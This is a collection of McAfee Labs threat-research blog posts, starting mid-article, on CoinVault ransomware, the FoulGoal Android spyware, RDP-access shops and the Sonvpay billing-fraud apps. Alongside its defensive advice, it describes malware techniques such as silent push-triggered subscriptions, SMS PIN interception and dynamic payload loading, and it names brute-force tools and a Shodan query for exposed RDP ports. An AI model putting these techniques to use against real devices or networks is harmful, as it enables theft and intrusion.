At the trial they said they were sorry and tearfully regretted what they had done. But were these mere crocodile tears because they got caught? During CoinVault’s lifespan, several versions of the ransomware were released. Every new version was a reaction to blogs written by security researchers and takedowns performed by law enforcement. Instead of realizing that they were making a mistake and stopping, the brothers saw it as a challenge, a digital game of cat and mouse, and constantly improved their malicious code.

Their continuing to improve the ransomware shows a lack of empathy with their victims. Was there no one in their social surroundings who could straighten their moral compasses and talk sense into them?

The payment

A ransomware criminal must decide the amount of ransom to charge. Generally the more targeted a ransomware attack is, the higher the ransom demand will be. CoinVault’s infections were not targeted at one organization; they charged only US$250. The two brothers explained that they chose that price to be low enough for an average person to pay while still making a good profit. The prosecutor remarked ironically that they were “very noble [to keep] their ransom demand affordable.”

The infection

The two brothers did not directly infect their victims with ransomware; they took a multistep approach. Their distribution method was via newsgroup channels. They hooked a small piece of malicious code to known software or license-key generators before posting the software packages on the newsgroups. Once victims installed the package or ran the key generator, they would become part of a botnet through the software the brothers named Comhost, which can record keystrokes, search for credentials, and steal Bitcoin wallets. Comhost can also upload and execute binaries received from the control server they named Sonar. (We believe Sonar is modified a version of the popular Solar botnet software.)

The Sonar botnet panel.

Once they had accumulated enough bots, they simply pushed CoinVault to all their victims and locked thousands of computers at once. This method made it hard for victims to figure out how they were attacked, because weeks could pass between the initial infection and the encryption. By spreading their ransomware via newsgroups with pirated software, they discouraged victims from going to the police out of fear of prosecution and copyright-violation fines.

The CoinVault lock screen.

The arrest

In April 2015, The National High Tech Crime Unit of the Dutch Police seized the control servers for CoinVault. After the police investigated, the two brothers, aged 18 and 22 at the time, were arrested in Amersfoort, Netherlands, on September 14, 2015. Systems were infected not only in the Netherlands, but also in the United States, Germany, France, and the United Kingdom. Their mistakes? Using flawless Dutch in the ransom notes and one time they did not use a Tor connection to log in into their control server, instead using their home connection.

Flawless Dutch in the ransomware code.

Although they used an obfuscator tool (Confuser) for their code, in some of the samples the full name of one of the authors was present, because they did not clean up the debugging path.

Example:

 c:\Users\**********\Desktop\Coinvault\coinvault-cleaned\obj\Debug\coinvault.pdb

From grabbing keys to No More Ransom

During the investigation the Dutch police obtained all the decryption keys for CoinVault and partnered with the private sector to build a decryption tool for CoinVault ransomware, successfully mitigating a large portion of the damage caused by CoinVault. This effort idea gave birth to No More Ransom, an online portal supported by the public and private sector with the largest repository on the planet of free ransomware decryption tools. No More Ransom now has decryptors for 85 ransomware versions. This global initiative has prevented millions of dollars from falling into the hands of cybercriminals. McAfee is proud to be one of the founding members of No More Ransom.

Nomoreransom.org

The next steps

Extorting people with ransomware is wrong, and perpetrators must be held accountable. It is sad to see two talented young people choose a pathway to cybercrime and waste their skills—skills sorely needed in the cybersecurity sector. We hope they will have learned a lesson as they endure the consequences of their actions. The sentencing will take place in about two weeks. Perhaps after they serve their time, they will find someone willing to give them a second chance.

The post What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/feed/ 0
Google Play Users Risk a Yellow Card With Android/FoulGoal.A https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/#respond Thu, 12 Jul 2018 13:00:42 +0000 https://securingtomorrow.mcafee.com/?p=90299 This blog post was co-written by Irfan Asrar. English soccer fans have enthusiastically enjoyed the team’s current run in the World Cup, as the tune “Three Lions” plays in their heads, while hoping to end 52 years of hurt. Meanwhile a recent spyware campaign distributed on Google Play has hurt fans of the beautiful game […]

The post Google Play Users Risk a Yellow Card With Android/FoulGoal.A appeared first on McAfee Blogs.

]]>
This blog post was co-written by Irfan Asrar.

English soccer fans have enthusiastically enjoyed the team’s current run in the World Cup, as the tune “Three Lions” plays in their heads, while hoping to end 52 years of hurt. Meanwhile a recent spyware campaign distributed on Google Play has hurt fans of the beautiful game for some time. Using major events as social engineering is nothing new, as phishing emails have often taken advantage of disasters and sporting events to lure victims.

“Golden Cup” is the malicious app that installs spyware on victims’ devices. It was distributed via Google Play, and “offered” the opportunity to stream games and search for records from the current and past World Cups. McAfee Mobile Security identifies this threat as Android/FoulGoal.A; Google has removed the malicious applications from Google Play.

Once Golden Cup is installed it appears to be a typical sporting app, with multimedia content and general information about the event. Most of this data comes from a web service without malicious activity. However, in the background and without user consent the app silently transfers information to another server.

Data captured

Golden Cup captures a considerable amount of encrypted data from the victim’s device:

  • Phone number
  • Installed packages
  • Device model, manufacturer, serial number
  • Available internal storage capacity
  • Device ID
  • Android version
  • IMEI, IMSI

This spyware may be just the first stage of a greater infection due to its capability to load dex files from remote sources. The app connects to its control server and tries to download, unzip, and decrypt a second stage.

Android/FoulGoal.A detects when the screen is on or off and records this in its internal file scrn.txt, with the strings “on” or “off” to track when users are looking at their screens:

The Message Queuing Telemetry Transport protocol serves as the communication channel between the device and the malicious server to send and receive commands.

Data encryption

User data is encrypted with AES before it is sent to the control server. Cryptor class provides the encryption and decryption functionality. The doCrypto function is defined as a common function. As the first parameter of the function, “1” represents encryption and “2” is decryption mode:

The encryption key is generated dynamically using the SecureRandom function, which generates a unique value on the device to obfuscate the data. The addKey function embeds the encryption key into the encryption data. The data with the key is uploaded to the control server.

We believe the malware author uses this AES encryption technique for any information to be uploaded to escape the detection by Google Bouncer and network inspection products.

Our initial analysis suggests there were at least 300 infections, which we suspect occurred between June 8‒12, before the first World Cup matches began.

The second round

The second phase of the attack leverages an encrypted dex file. The file has a .data extension and is downloaded and dynamically loaded by the first-stage malware; it is extracted with the same mechanism used to upload the encrypted files. The location of the decryption key can be identified from the size of the contents and a fixed number in the first-stage malware.

After decryption, we can see out.dex in zipped format. The dex file has spy functions to steal SMS messages, contacts, multimedia files, and device location from infected devices.

The control server in second stage is different from the first stage’s. The encryption methodology and the server folder structures on the remote server are identical to the first stage.

We found one victim’s GPS location information and recorded audio files (.3gp) among the encrypted data on the control server.

Variants

We have also discovered two other variants of this threat created by the same authors and published to Google Play as dating apps. Although all the apps have been removed from Google Play, we still see indications of infections from our telemetry data, so we know these apps are active on some users’ devices.

Our telemetry data indicates that although users around the world have downloaded the app, the majority of downloads took place in the Middle East, most likely as a result of a World Cup–themed Twitter post in Hebrew directing people to download the app for a breakdown of the latest events.

McAfee Mobile Security users are protected against all the variants of this threat, detected as   Android/FoulGoal.A.

The post Google Play Users Risk a Yellow Card With Android/FoulGoal.A appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/feed/ 0
Organizations Leave Backdoors Open to Cheap Remote Desktop Protocol Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/organizations-leave-backdoors-open-to-cheap-remote-desktop-protocol-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/organizations-leave-backdoors-open-to-cheap-remote-desktop-protocol-attacks/#respond Wed, 11 Jul 2018 13:00:06 +0000 https://securingtomorrow.mcafee.com/?p=89360 While researching underground hacker marketplaces, the McAfee Advanced Threat Research team has discovered that access linked to security and building automation systems of a major international airport could be bought for only US$10.

The post Organizations Leave Backdoors Open to Cheap Remote Desktop Protocol Attacks appeared first on McAfee Blogs.

]]>
Thanks to my colleague Christiaan Beek for his advice and contributions.

While researching underground hacker marketplaces, the McAfee Advanced Threat Research team has discovered that access linked to security and building automation systems of a major international airport could be bought for only US$10.

The dark web contains RDP shops, online platforms selling remote desktop protocol (RDP) access to hacked machines, from which one can buy logins to computer systems to potentially cripple cities and bring down major companies.

RDP, a proprietary protocol developed by Microsoft that allows a user to access another computer through a graphical interface, is a powerful tool for systems administrators. In the wrong hands, RDP can be used to devastating effect. The recent SamSam ransomware attacks on several American institutions demonstrate how RDP access serves as an entry point. Attacking a high-value network can be as easy and cheap as going underground and making a simple purchase. Cybercriminals like the SamSam group only have to spend an initial $10 dollars to get access and are charging $40K ransom for decryption, not a bad return on investment.

A screenshot of Blackpass.bz, one of the most popular RDP-shops, largely due to the variety of services offered.

Shops explained

Security maven Brian Krebs wrote the article “Really Dumb Passwords” in 2013. That short phrase encapsulates the vulnerability of RDP systems. Attackers simply scan the Internet for systems that accept RDP connections and launch a brute-force attack with popular tools such as, Hydra, NLBrute or RDP Forcer to gain access. These tools combine password dictionaries with the vast number of credentials stolen in recent large data breaches. Five years later, RDP shops are even larger and easier to access.

The McAfee Advanced Threat Research team looked at several RDP shops, ranging in size from 15 to more than 40,000 RDP connections for sale at Ultimate Anonymity Service (UAS), a Russian business and the largest active shop we researched. We also looked at smaller shops found through forum searches and chats. During the course of our research we noticed that the size of the bigger shops varies from day to day with about 10%. The goal of our research was not to create a definitive list of RDP shops; rather, we sought a better understanding of the general modus operandi, products offered, and potential victims.

The number of compromised systems claimed to be available for sale by several RDP shops. A single compromised system can appear on more than one shop’s list.

RDP access by cybercriminals

How do cybercriminals (mis)use RDP access? RDP was designed to be an efficient way to access a network. By leveraging RDP, an attacker need not create a sophisticated phishing campaign, invest in malware obfuscation, use an exploit kit, or worry about antimalware defenses. Once attackers gain access, they are in the system. Scouring the criminal underground, we found the top uses of hacked RDP machines promoted by RDP shops.

False flags: Using RDP access to create misdirection is one of the most common applications. While preserving anonymity, an attacker can make it appear as if his illegal activity originates from the victim’s machine, effectively planting a false flag for investigators and security researchers. Attackers can plant this flag by compiling malicious code on the victim’s machine, purposely creating false debugging paths and changing compiler environment traces.

Spam: Just as spammers use giant botnets such as Necrus and Kelihos, RDP access is popular among a subset of spammers. Some of the systems we found for sale are actively promoted for mass-mailing campaigns, and almost all the shops offer a free blacklist check, to see if the systems were flagged by SpamHaus and other antispam organizations.

Account abuse, credential harvesting, and extortion: By accessing a system via RDP, attackers can obtain almost all data stored on a system. This information can be used for identity theft, account takeovers, credit card fraud, and extortion, etc.

Cryptomining: In the latest McAfee Labs Threats Report, we wrote about the increase in illegal cryptocurrency mining due to the rising market value of digital currencies. We found several criminal forums actively advertising Monero mining as a use for compromised RDP machines.

Monero mining via RDP advertised on a cybercriminal forum.

Ransomware: The large majority of ransomware is still spread by phishing emails and exploit kits. However, specialized criminal groups such as SamSam are known to use RDP to easily enter their victims’ networks almost undetected.

RDP shop overview

Systems for sale: The advertised systems ranged from Windows XP through Windows 10. Windows 2008 and 2012 Server were the most abundant systems, with around 11,000 and 6,500, respectively, for sale. Prices ranged from around US $3 for a simple configuration to $19 for a high-bandwidth system that offered access with administrator rights.

Third-party resellers: When comparing “stock” among several RDP shops, we found that the same RDP machines were sold at different shops, indicating that these shops act as resellers.

Windows Embedded Standard: Windows Embedded Standard, now called Windows IOT, is used in a wide variety of systems that require a small footprint. These systems can range from thin clients to hotel kiosk systems, announcement boards, point-of-sale (POS) systems, and even parking meters among others.

Among the thousands of RDP-access systems offered, some configurations stood out. We found hundreds of identically configured Windows Embedded Standard machines for sale at UAS Shop and BlackPass; all these machines were in the Netherlands. This configuration was equipped with a 1-GHz VIA Eden processor. An open-source search of this configuration revealed that it is most commonly used in thin clients and some POS systems. The configurations are associated with several municipalities, housing associations, and health care institutions in the Netherlands.

Thin client and POS systems are often overlooked and not commonly updated, making them an ideal backdoor target for an attacker. Although these systems have a small physical footprint, the business impact of having such a system compromised should not be underestimated. As we’ve observed from previous breaching of retailers leveraging unpatched or vulnerable POS systems, the damage extends far beyond financial only, including customer perception and long-term brand reputation.  In regard to the current affected systems we discovered, McAfee has notified the identified victims and is working to learn further detail on why and how these identical Windows systems were compromised.

Government and health care institutions: We also came across multiple government systems being sold worldwide, including those linked to the United States, and dozens of connections linked to health care institutions, from hospitals and nursing homes to suppliers of medical equipment. In a March blog post, the Advanced Threat Research team showed the possible consequences of ill-secured medical data and what can happen when an attacker gains access to medical systems. It is very troublesome to see that RDP shops offer an easy way in.

Additional products for sale

Services offered by our researched RDP shops.

In addition to selling RDP, some of these shops offer a lively trade in social security numbers, credit card data, and logins to online shops. The second-largest RDP shop we researched, BlackPass, offered the widest variety of products. The most prolific of these brokers provide one-stop access to all the tools used to commit fraud: RDP access into computers, social security numbers and other integral data to set up loans or open bank accounts.

For legal and ethical reasons, we did not purchase any of the products offered. Therefore, we cannot determine the quality of the services.

RDP ransomware attack scenario

Is it possible to find a high-value victim using an RDP shop? The Advanced Threat Research team put this theory to the test. By leveraging the vast amounts of connections offered by the RDP shops, we were able to quickly identify a victim that fits the profile of a high-value target in the United States.

We found a newly posted (on April 16) Windows Server 2008 R2 Standard machine on the UAS Shop. According to the shop details, it belonged to a city in the United States and for a mere $10 we could get administrator rights to this system.

RDP access offered for sale.

UAS Shop hides the last two octets the of the IP addresses of the systems it offers for sale and charges a small fee for the complete address. (We did not pay for any services offered by UAS or any other shop.) To locate the system being sold, we used shodan.io to search for any open RDP ports at that specific organization using this query:

org:”City  XXX” port:”3389”

The results were far more alarming than we anticipated. The Shodan search narrowed 65,536 possible IPs to just three that matched our query. By obtaining a complete IP address we could now look up the WHOIS information, which revealed that all the addresses belonged to a major International airport. This is definitely not something you want to discover on a Russian underground RDP shop, but the story gets worse.

From bad to worse

Two of the IP addresses presented a screenshot of the accessible login screens.

A login screen that matches the configuration offered in the RDP shop.

A closer look at the screenshots shows that the Windows configuration (preceding screen) is identical to the system offered in the RDP shop. There are three user accounts available on this system, one of which is the administrator account. The names of the other accounts seemed unimportant at first but after performing several open-source searches we found that the accounts were associated with two companies specializing in airport security; one in security and building automation, the other in camera surveillance and video analytics. We did not explore the full level of access of these accounts, but a compromise could offer a great foothold and lateral movement through the network using tools such as Mimikatz.

The login screen of a second system on the same network.

Looking at the other login account (preceding screen), we saw it is part of the domain with a very specific abbreviation. We performed the same kind of search on the other login account and found the domain is most likely associated with the airport’s automated transit system, the passenger transport system that connects terminals. It is troublesome that a system with such significant public impact might be openly accessible from the Internet.

Now we know that attackers, like the SamSam group, can indeed use an RDP shop to gain access to a potential high-value ransomware victim. We found that access to a system associated with a major international airport can be bought for only $10—with no zero-day exploit, elaborate phishing campaign, or watering hole attack.

Anonymization

To publish our findings, we have anonymized the data to prevent any disclosure of sensitive security information.

Basic forensic and security advice

Playing hide and seek

Besides selling countless connections, RDP shops offer tips on how to remain undetected when an attacker wants to use the freshly bought RDP access.

This screen from the UAS Shop’s FAQ section explains how to add several registry keys to hide user accounts.

The UAS Shop offers a zip file with a patch to allow multiuser RDP access, although it is not possible by default on some Windows versions. The zip file contains two .reg files that alter the Windows registry and a patch file that alters termsvrl.dll to allow concurrent remote desktop connections.

These alterations to the registry and files leave obvious traces on a system. Those indicators can be helpful when investigating misuse of RDP access.

In addition to checking for these signs, it is good practice to check the Windows event and security logs for unusual logon types and RDP use. The following screen, from the well-known SANS Digital Forensics and Incident Response poster, explains where the logs can be found.


Source: SANS DFIR Poster 2015.

Basic RDP security measures

Outside access to a network can be necessary, but it always comes with risk. We have summarized some basic RDP security measures:

  • Using complex passwords and two-factor authentication will make brute-force RDP attacks harder to succeed
  • Do not allow RDP connections over the open Internet
  • Lock out users and block or timeout IPs that have too many failed login attempts
  • Regularly check event logs for unusual login attempts
  • Consider using an account-naming convention that does not reveal organizational information
  • Enumerate all systems on the network and list how they are connected and through which protocols. This also applies for Internet of Things and POS systems.

Conclusion

Remotely accessing systems is essential for system administrators to perform their duties. Yet they must take the time to set up remote access in a way that is secure and not easily exploitable. RPD shops are stockpiling addresses of vulnerable machines and have reduced the effort of selecting victims by hackers to a simple online purchase.

Governments and organizations spend billions of dollars every year to secure the computer systems we trust. But even a state-of-the-art solution cannot provide security when the backdoor is left open or carries only a simple padlock. Just as we check the doors and windows when we leave our homes, organizations must regularly check which services are accessible from the outside and how they are secured. Protecting systems requires an integrated approach of defense in depth and proactive attitudes from every employee.

The post Organizations Leave Backdoors Open to Cheap Remote Desktop Protocol Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/organizations-leave-backdoors-open-to-cheap-remote-desktop-protocol-attacks/feed/ 0
Cybercrime in the Spotlight: How Crooks Capitalize on Cultural Events https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybercrime-in-the-spotlight-how-crooks-capitalize-on-cultural-events/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybercrime-in-the-spotlight-how-crooks-capitalize-on-cultural-events/#respond Tue, 03 Jul 2018 18:28:39 +0000 https://securingtomorrow.mcafee.com/?p=90214 Every four years, everyone’s head around the globe turns toward the television. The Olympics, the World Cup – world events like these have all eyes viewing friendly competition between nations. Operating under such a big spotlight, these events have been heavily guarded by physical security to ensure no participants or attendees are harmed. But what about […]

The post Cybercrime in the Spotlight: How Crooks Capitalize on Cultural Events appeared first on McAfee Blogs.

]]>
Every four years, everyone’s head around the globe turns toward the television. The Olympics, the World Cup – world events like these have all eyes viewing friendly competition between nations. Operating under such a big spotlight, these events have been heavily guarded by physical security to ensure no participants or attendees are harmed. But what about digital security? In 2018, many aspects of these events have become digitized, which is great for event organizers and viewers, but also for cybercriminals. In fact, reports are already circulating that hackers are targeting attendees of this year’s 2018 FIFA World Cup.

Why These Events?

The cultural value placed in these international games is precisely the reason cybercriminals target them. The more something is valued, the more people are willing to make sacrifices for it. Cybercriminals know that, and hope to capitalize on it.

In cases like the World Cup, fans may be willing to expose themselves to a more hostile environment in order to feel a part of the event. The same goes for companies that are associated with the sporting events, as they can fall victims to attacks just as individuals do.

Types of Attacks

Both innocent tourists and fans at home may have to deal with threats that result from their involvement in these events. Given the fact that internet access has increased all over the world, many tourists are vulnerable to rogue access-point attacks in public places. Attackers can use these points to harvest credentials and gain access to a victim’s device and accounts. Malware can also be placed within ATM machines, ready to rip off tourists withdrawing currency from their banks. As for fans at home, many phishing and waterhole attacks have been designed around these events to entice fans to visit malicious sites or open emails that appear to be related to the games.

However, for nation-state attacks, a lot of groundwork is done before these global events even begin. Our McAfee Labs team saw this firsthand in the period leading up to the Pyeongchang 2018 Olympic Winter Games. A nation-state hacker pretended to be a supplier to the Olympics and sent out weaponized mail to organizations of interest that contained malware developed well before the event had started.

The Implications

Whether the objective behind the threat is disruption or financial gain, these attacks all do have one thing in common — they impact the overall feeling of safety at these events and take away from what is supposed to feel like a worldwide celebration of sport.

Now, when fans wish to part of a big event such as the World Cup, they can no longer just focus on which jersey they’re wearing that day. They have to worry about their bank accounts being robbed or becoming extorted. Beyond the individual implications, the nation-state attacks that take place at these events can rear their head in an ugly way, as they can actually worsen international relations much more than a healthy sporting rivalry ever could.

So the question is – now what? On an individual level, visitors to these events must maintain overall good digital security hygiene. This means leaving unnecessary devices at home, enabling two-factor authentication, using a VPN service, and overall remaining alert and vigilant for scams.

Beyond that, we must all recognize that our physical and digital lives are converging at a fast pace, and we now have a large digital attack surface that is not yet properly safeguarded. And with both cybercriminals and nation-state actors showing such a heightened interest in global cultural events, cybersecurity must become an essential part of organizing such an event. Only then can countries host a successful and safe sporting event for everyone.

To learn more about what McAfee is doing to help face the threats to these events, be sure to follow us at @McAfee and @McAfee_Labs.

The post Cybercrime in the Spotlight: How Crooks Capitalize on Cultural Events appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybercrime-in-the-spotlight-how-crooks-capitalize-on-cultural-events/feed/ 0
AsiaHitGroup Returns With New Billing-Fraud Campaign https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-returns-with-new-billing-fraud-campaign/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-returns-with-new-billing-fraud-campaign/#respond Thu, 28 Jun 2018 01:32:13 +0000 https://securingtomorrow.mcafee.com/?p=90111 Are you tired yet of the music track “Despacito”? If you downloaded this ringtone app from Google Play, chances are your answer is a resounding Yes. But it gets worse: The McAfee Mobile Research team recently found 15 apps on Google Play that were uploaded by the AsiaHitGroup Gang. The ringtone app was one of […]

The post AsiaHitGroup Returns With New Billing-Fraud Campaign appeared first on McAfee Blogs.

]]>
Are you tired yet of the music track “Despacito”? If you downloaded this ringtone app from Google Play, chances are your answer is a resounding Yes. But it gets worse: The McAfee Mobile Research team recently found 15 apps on Google Play that were uploaded by the AsiaHitGroup Gang. The ringtone app was one of them—downloaded 50,000 times from the official app store—that were designed to steal money from their victims. The AsiaHitGroup Gang has been active since at least 2016, attempting to charge 20,000 victims for the download of popular mobile applications containing the fake-installer app Sonvpay.A. For more analysis, see the Mobile Research team’s post.

Ordinarily we advise users to review the requested permissions before installing a mobile app, and normally this is enough. In this case, the only permission requested was access to SMS messages, and once installed the app behaved as expected. In the background, however, Sonvpay silently used the push notification service to subscribe users to premium-rate services.

This campaign displays a significant level of customization. The criminals can tailor their fraud to the country of their choosing. In our analysis we looked at mobile billing fraud targeting users in Kazakhstan, Malaysia, and Russia. In Kazakhstan victims are subscribed to a premium-rate service whereas in Malaysia and Russia they are connected to a WAP billing service. Further, the criminals recognize that in Malaysia the mobile operator sends a PIN code, so the attackers include functionality to intercept the SMS. Once intercepted, the app communicates with the mobile operator to subscribe to the service.

This group began targeting users in Asia, but the move to Russia shows its increasing ambition. The goal of the AsiaHitGroup Gang remains the same, but the manner in which they attempt to achieve their ends differs per campaign, and their techniques are improving. Although the security industry focuses much attention on “loud” and destructive attacks, many campaigns quietly steal funds from unsuspecting victims or those who have little visibility into what is happening.

The post AsiaHitGroup Returns With New Billing-Fraud Campaign appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-returns-with-new-billing-fraud-campaign/feed/ 0
AsiaHitGroup Gang Again Sneaks Billing-Fraud Apps Onto Google Play https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-gang-again-sneaks-billing-fraud-apps-onto-google-play/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-gang-again-sneaks-billing-fraud-apps-onto-google-play/#respond Thu, 28 Jun 2018 01:31:57 +0000 https://securingtomorrow.mcafee.com/?p=90004 The McAfee Mobile Research team has found a new billing-fraud campaign of at least 15 apps published in 2018 on Google Play. Toll fraud (which includes WAP billing fraud) is a leading category of potentially harmful apps on Google Play, according to the report Android Security 2017 Year in Review. This new campaign demonstrates that […]

The post AsiaHitGroup Gang Again Sneaks Billing-Fraud Apps Onto Google Play appeared first on McAfee Blogs.

]]>
The McAfee Mobile Research team has found a new billing-fraud campaign of at least 15 apps published in 2018 on Google Play. Toll fraud (which includes WAP billing fraud) is a leading category of potentially harmful apps on Google Play, according to the report Android Security 2017 Year in Review. This new campaign demonstrates that cybercriminals keep finding new ways to steal money from victims using apps on official stores such as Google Play.

The AsiaHitGroup Gang has been active since at least late 2016 with the distribution of the fake-installer applications Sonvpay.A, which attempted to charge at least 20,000 victims from primarily Thailand and Malaysia for the download of copies of popular applications. One year later, in November 2017, a new campaign was discovered on Google Play, Sonvpay.B, used IP address geolocation to confirm the country of the victim and added Russian victims to the WAP billing fraud to increase its potential to steal money from unsuspected users.

In January 2018, the AsiaHitGroup Gang returned to Google Play with the repackaged app, Sonvpay.C, which uses silent background push notifications to trigger a fake update dialog. When victims start the “update” they instead subscribe to a premium-rate service. The subscription operates primarily via WAP billing, which does not require sending SMS messages to premium-rate numbers. Instead it requires only that users employ the mobile network to access a specific website and automatically click on a button to initiate the subscription process. Based on the approximate number of installations from Google Play, the cost of the premium-service subscription, and the days that these apps were available, we estimate that the AsiaHitGroup Gang could have potentially earned between $60,500–$145,000 since January.

Sonvpay on Google Play

The McAfee Mobile Research team initially found the following applications repackaged with Sonvpay on Google Play, all of them published this year:

Figure 1. Sonvpay apps found on Google Play.

We notified Google about these apps on April 10 and they were promptly removed. A couple of days later the app “Despacito for Ringtone” was found again on the store and was quickly removed. In total we found 15 apps that were installed at least 50,000 times since the first one, Cut Ringtones 2018, was released on Google Play in January 2018. The following table lists the 15 malicious apps:

At the time of download, the only red flag that a user could notice is that the app needs access to SMS messages. Once installed and executed, the app behaves as expected (QR code reader, ring tones, etc.). However, in the background and without the user’s knowledge, Sonvpay listens for incoming push notifications that contain the data to perform mobile billing fraud.

Background Push Notification and Fake Update Screen

Sonvpay employs the onesignal push notification service to get the information to subscribe users to premium-rate services. To receive the data in the background without displaying a notification, Sonvpay implements the method “onNotificationProcessing” and returns “true” to make the notification silent:

Figure 2. Silent background notification.

The received data can perform WAP and SMS fraud along with information necessary to display a fake update notification to the user after some time of using the repackaged application. This fake notification has only one bogus button. If the user scrolls until the end, the misleading phrase “Click Skip is to agree” appears:

Figure 3. Fake update notification.

If the user clicks the only button, Sonvpay will do its job. However, even if there is no interaction with this window and the data in the push notification has the value “price” as empty, Sonvpay will proceed to subscribe to a premium-rate service:

Figure 4. Starting mobile billing fraud if “price” value is empty.

Downloading the Dynamic Payload from a Remote Server

One of the parameters obtained from the silent push notification is a URL to request the location of functionality to perform mobile billing fraud. Once the fake update notification is displayed, Sonvpay requests the download of the library from another remote server:

Figure 5. Sonvpay requesting library with additional functionality.

The new APK file is downloaded and stored in the path /sdcard/Android/<package_name>/cache/ so that it can be dynamically loaded and executed at runtime. The library we obtained for performing mobile billing fraud targeted only Kazakhstan and Malaysia but, because the library is present in a remote server and can be dynamically loaded, it can likely be updated at any time to target more countries or mobile operators.

WAP Billing and SMS Fraud

In the case of Kazakhstan, Sonvpay loads a specific URL delivered through the silent push notification and uses JavaScript to click on a button and on the element “activate” to fraudulently subscribe the user to a premium-rate service:

Figure 6. WAP billing fraud in Kazakhstan.

For Malaysia, the malware creates a new WebView to send the “Shortcode” and “Keyword” parameters to a specific URL to subscribe the user to a WAP billing service:

Figure 7. WAP billing fraud in Malaysia.

However, for Malaysia the app needs to intercept a confirmation code (PIN) sent by the mobile operator via SMS. Sonvpay has this SMS interception functionality implemented in the original repackaged application:

Figure 8. Processing an intercepted SMS message to get the confirmation PIN.

Once the PIN is obtained, it is sent to the mobile operator via a web request to automatically confirm the subscription. If the parameters for Kazakhstan or Malaysia do not match, Sonvpay still tries to perform mobile billing fraud by attempting to send an SMS message to a premium-rate number provided via the silent push notification:

Figure 9. Functionality to send an SMS message to a premium-rate number.

Closer Look to Previous Campaigns

While looking for patterns in the 2018 campaign, we found the app DJ Mixer–Music Mixer. As soon as this application executes, it checks if the device has an Internet connection. If the device is offline, the app shows the error message “You connect to internet to continue” and ends its execution. If the device is online, the app executes a web request to a specific URL:

Figure 10. Web request to the AsiaHitGroup Gang URL.

We learned the apps created by the developer SHINY Team 2017 were available on Google Play in September 2017; earlier Sonvpay variants were discovered in November 2017. The primary behavior of the two variants is almost the same—including the changing of the main icon and the app’s name to Download Manager to hide its presence from the user. However, with DJ Mixer, the geolocation of the IP address identifies the country of the infected device and aids the execution of the mobile billing fraud:

Figure 11. Using IP geolocation to target specific countries.

In this case only three countries are targeted via the geolocation service: Russia (RU), Thailand (TH), and Malaysia (MY). If the IP address of the infected devices is not from any of these countries, a dialog will claim the app is not active and that the user needs to uninstall and update to the latest version.

If the country is Thailand or Malaysia, the malicious app randomly selects a keyword to select an image to offer users premium-rate services. With Malaysia the image includes English text with terms of service and the button “Subscribe” to accept the randomly selected premium-rate service:

Figure 12. Screens displayed when the country of the IP address is Malaysia.

In the case of Thailand, the text is in Thai and includes a small version of terms of service along with instructions to unsubscribe and stop the charges:

Figure 13. Screens shown when the country of the IP address is Thailand.

Finally, with Russia no image is shown to the user. The app fraudulently charges the user via WAP billing while enabling 3G and disabling Wi-Fi:

Figure 14. Forcing the use of 3G to start WAP billing fraud.

We also found similar apps from late 2016 that performed SMS fraud by pretending to be legitimate popular applications and asking the user to pay for them. These are similar to text seen in the 2018 campaign as an update but labeled as Term of user:

Figure 15. Fake-installer behavior asking the user to pay for a popular legitimate app.

If the user clicks “No,” the app executes as expected. However, if the user clicks “Yes,” the app subscribes the user to a premium-rate service by sending an SMS message with a specific keyword to a short number. Next the mobile operator sends the device a PIN via SMS; the malware intercepts the PIN and returns it via web request to confirm the subscription.

Once the user is fraudulently subscribed to a premium-rate service to download a copy of a free app on official app stores, the malware shows the dialog “Downloading game…” and proceeds with the download of another APK stored on a third-party server. Although the APK file that we downloaded from the remote server is a copy of the legitimate popular app, the file can be changed at any point to deliver additional malware.

Unlike in previous campaigns, we did not find evidence that these fake-installer apps were distributed via Google Play. We believe that they were distributed via fake third-party markets from which users looking for popular apps are tricked into downloading APK files from unknown sources.  In June 2018 ESET and Sophos found a new version of this variant pretending to be the popular game Fortnite. The fake game was distributed via a YouTube video by asking the user to download the fake app from a specific URL. This recent campaign shows that the cybercriminals behind this threat are still active tricking users into installing these fake applications.

Connections Among Campaigns

All of these campaigns rely on billing-fraud apps targeting users in Southeast and Central Asia and offer some similarities in behavior such as the use of almost the same text and images to trick users into subscribing to premium-rate services. Other potential connections among the three campaigns suggest that all the apps are likely from the same actor group. For example, apps from all campaigns use the same string as debug log tag:

Figure 16. The “SonLv” string used as a log tag occurs in all campaigns.

There is also a notable similarity in package and classes names and in the use of a common framework (telpoo.frame) to perform typical tasks such as database, networking, and interface support:

Figure 17. Common package and classes names in all campaigns.

Finally, apps from the Google Play campaigns use the domain vilandsoft[.]com to check for updates. The same domain is also used by apps from the fake-installer campaign to deliver remote-execution commands, for example, action_sendsms:

Figure 18. A fake-installer app checking for the command action_sendsms.

The following timeline identifies the campaigns we have found from this group, strategies to trick users into installing the apps, distribution methods, main payload, and targeted countries:

 

Figure 19. A timeline of Sonvpay campaigns.

Conclusion

